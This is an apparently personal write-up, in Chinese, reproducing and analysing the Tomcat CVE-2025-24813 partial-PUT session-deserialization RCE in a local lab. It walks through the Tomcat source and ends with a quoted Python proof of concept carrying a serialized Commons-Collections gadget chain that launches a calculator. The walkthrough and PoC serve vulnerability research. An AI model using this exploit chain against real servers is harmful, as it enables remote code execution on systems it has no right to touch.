CVE-2025-24813 Tomcat RCE 分析复现

参考文章:

https://forum.butian.net/article/674

https://github.com/iSee857/CVE-2025-24813-PoC/blob/main/Tomcat_CVE-2025-24813_RCE.py

看了奇安信社区的文章和大b哥的文章后,自己来复现一下。

漏洞影响范围:

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

Tomcat RCE 前世今生

CVE-2017-12615 Tomcat PUT ⽂件上传

CVE-2020-9484:Tomcat Session 反序列化漏洞

CVE-2024-50379 :Tomcat PUT 条件竞争⽂件上传

漏洞利用条件:

该漏洞利用条件较为复杂,需同时满足以下四个条件:

  1. 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  2. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
  4. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

环境搭建

首先搭建一个环境吧~

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/src/

加⼊默认的 DefaultServlet,将DefaultServlet的readonly配置为false,启用写入功能

1
2
3
4
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

主要是加入如下内容

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

这⼀步是开启 Tomcat 的 Session 储存功能

漏洞利用

接下来启动环境,在终端输入

1
bin/catalina.bat run

环境开启了,接下来我们使用yakit创建一个java利用链

接下来创建一下我们的包

1
2
3
4
5
6
PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{反序列化文件内容)}}

第二个包:

1
2
3
GET / HTTP/1.1  
Host: 192.168.131.32:8080
Cookie: JSESSIONID=.xxxxx

我们先发送第一个包

发现这里会多出一个.xxxxx.session

接下来我们发送第二个包

深入源码分析

文件上传部分DefaultServlet#doPut

javaweb还是太差了,搭个环境搭了半天。

先用idea搭建一个普通的tomcat环境,部署环境的时候要注意IDEA 部署 Tomcat 在新版有⼀些改变,主要是 AddFrameWork 按钮没了。全局搜即可。

然后把tomcat源码中的lib中的jar包都粘贴到web项目的WEB-INF的lib中

然后对lib进行add as library即可。

接着修改context.xml和web.xml

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
1
2
3
4
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

接下来我们关注一下DefaultServlet

⾃带的⼀个 Servelet 会处理⼀些默认类型的请求,如 PUT、POST、GET。

核心代码如下:CVE-2017-12615、CVE-2024-50379均涉及该⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
this.sendNotAllowed(req, resp);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
if (range != null) {
InputStream resourceInputStream = null;

try {
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}

if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
try {
resp.sendError(409);
} catch (IllegalStateException var15) {
}
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var14) {
}
}

}

}
}
}

我们先审计一下这段代码

1
if (this.readOnly) {

由于我们之前已经在web.xml中设置过了readonly为false,那么我们进入的就是else部分

1
WebResource resource = this.resources.getResource(path);

这里获得的直接是web根目录,然后将⽂件上传,这也是最开始的 PUT ⽂件上传漏洞点。

然后我们继续往下看,遇到一个parseContentRange函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected Range parseContentRange(HttpServletRequest request, HttpServletResponse response) throws IOException {
String contentRangeHeader = request.getHeader("Content-Range");
if (contentRangeHeader == null) {
return IGNORE;
} else if (!this.allowPartialPut) {
response.sendError(400);
return null;
} else {
ContentRange contentRange = ContentRange.parse(new StringReader(contentRangeHeader));
if (contentRange == null) {
response.sendError(400);
return null;
} else if (!"bytes".equals(contentRange.getUnits())) {
response.sendError(400);
return null;
} else {
Range range = new Range();
range.start = contentRange.getStart();
range.end = contentRange.getEnd();
range.length = contentRange.getLength();
return range;
}
}
}

该函数与访问头Content-Range有关。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Content-Range

我们先看看语法:

1
2
3
Content-Range: <unit> <range-start>-<range-end>/<size>
Content-Range: <unit> <range-start>-<range-end>/*
Content-Range: <unit> */<size>

指令:

1
2
3
4
5
6
7
8
<unit>
指定范围的单位。通常是字节(bytes)。
<range-start>
给定单位中的一个整数,表示所请求范围的起始位置(从零开始,包含起始位置)。
<range-end>
给定单位中的一个整数,表示所请求范围的结束位置(从零开始,包含结束位置)。
<size>
文档的总长度(如果未知,则为 '*')。

其实可以理解为和分块⼀个意思。

接下来我们简单上传一个session看看效果,用yakit就好

1
2
3
4
5
6
PUT /CVE_2025_24813_war_exploded/aaa/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest

start、end、length和请求头对应,随后会进⼊ executePartialPut 内。

这里的path.replace会将斜杠替换成点号,因此我们可以上传一个xxx.session文件,接下来看看具体处理逻辑。

1
2
randAccessContentFile.setLength(range.length);
randAccessContentFile.seek(range.start);

这里以将range.length设置为文件长度,以range.start开始处理文件流,也就是为什么length一定要大于body总长度的原因,否则文件无法正常上传。

上传后虽然返回的是409,但是文件确实是会上传的!

自此文件上传的部分便以完毕了。

接下来是反序列化触发点。

反序列化触发点FileStore#load

这部分是反序列化触发点,CVE-2020-9484出⾃这⾥,所以不难看出这其实是⼀个组合漏洞,当时CVE-2020-9484是因为存在

⽬录穿越问题所以可以穿越加载⼀个⾃定义的序列化⽂件。

触发点如下:

D:\code\CVE-2025-24813\web\WEB-INF\lib\catalina.jar!\org\apache\catalina\session\FileStore.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public Session load(String id) throws ClassNotFoundException, IOException {
File file = this.file(id);
if (file != null && file.exists()) {
Context context = this.getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isTraceEnabled()) {
contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
}

ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);

ObjectInputStream ois;
try {
FileInputStream fis = new FileInputStream(file.getAbsolutePath());

StandardSession var9;
try {
ois = this.getObjectInputStream(fis);

try {
StandardSession session = (StandardSession)this.manager.createEmptySession();
session.readObjectData(ois);
session.setManager(this.manager);
var9 = session;
} catch (Throwable var19) {
if (ois != null) {
try {
ois.close();
} catch (Throwable var18) {
var19.addSuppressed(var18);
}
}

throw var19;
}

if (ois != null) {
ois.close();
}
} catch (Throwable var20) {
try {
fis.close();
} catch (Throwable var17) {
var20.addSuppressed(var17);
}

throw var20;
}

fis.close();
return var9;
} catch (FileNotFoundException var21) {
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString("fileStore.noFile", new Object[]{id, file.getAbsolutePath()}));
}

ois = null;
} finally {
context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}

return ois;
} else {
return null;
}
}

我们先跟进一下File file = this.file(id);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private File file(String id) throws IOException {
File storageDir = this.directory();
if (storageDir == null) {
return null;
} else {
String filename = id + ".session";
File file = new File(storageDir, filename);
File canonicalFile = file.getCanonicalFile();
if (!canonicalFile.toPath().startsWith(storageDir.getCanonicalFile().toPath())) {
log.warn(sm.getString("fileStore.invalid", new Object[]{file.getPath(), id}));
return null;
} else {
return canonicalFile;
}
}
}

这里已经修复了当时的目录穿越问题导致的反序列化,修复⽅式就是getCanonicalFile处理穿越问题。

因此现在只能加载缓存目录下的id + “.session”文件并将其反序列化,反序列化的触发点依旧是存在的。

1
2
3
GET / HTTP/1.1  
Host: localhost:8080
Cookie: JSESSIONID=.aaa

我们发这个触发包调试一下看看

接着我们恢复程序,发现成功弹出计算器!

复现完成!接下来给出大b哥给出的POC!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#Author: @Boogipop 

import requests
import base64

def put_request(url, data=None, headers=None, timeout=10, verify=True):
try:
response = requests.put(
url=url,
data=data,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"PUT请求发⽣错误: {e}")
return None

def get_request(url, headers=None, timeout=10, verify=True):
try:
response = requests.get(
url=url,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"GET请求发⽣错误: {e}")
return None

if __name__ == "__main__":
target_url = "http://127.0.0.1:8080/a/session"
payload =
base64.b64decode("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8
Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEA
DWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY
3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbu
WUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmc
uYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNm
b3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvb
W1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3
Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN
0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVu
Y3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kT
mFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbm
cuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxb
XrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB9zcQB+ABZ1cQB+ABsAAAACcHB0AAZp
bnZva2V1cQB+AB8AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXEAfgAbAAAAAXQAEk9wZ
W4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+AB8AAAABcQB+ACJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYW
RGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHB
xAH4AMw==")
range_len = len(payload)
custom_headers = {
"Content-Range": f"bytes 0-{range_len+1}/1200"
}

response = put_request(url=target_url, data=payload, headers=custom_headers)
if response.status_code == 409:
print("[+] ⽂件上传成功")

triggle_url = "http://127.0.0.1:8080/"
get_headers = {
"JSESSIONID":".a"
}
get_response = get_request(url=triggle_url,headers=get_headers)
if get_response:
print("[+] 触发 Payload")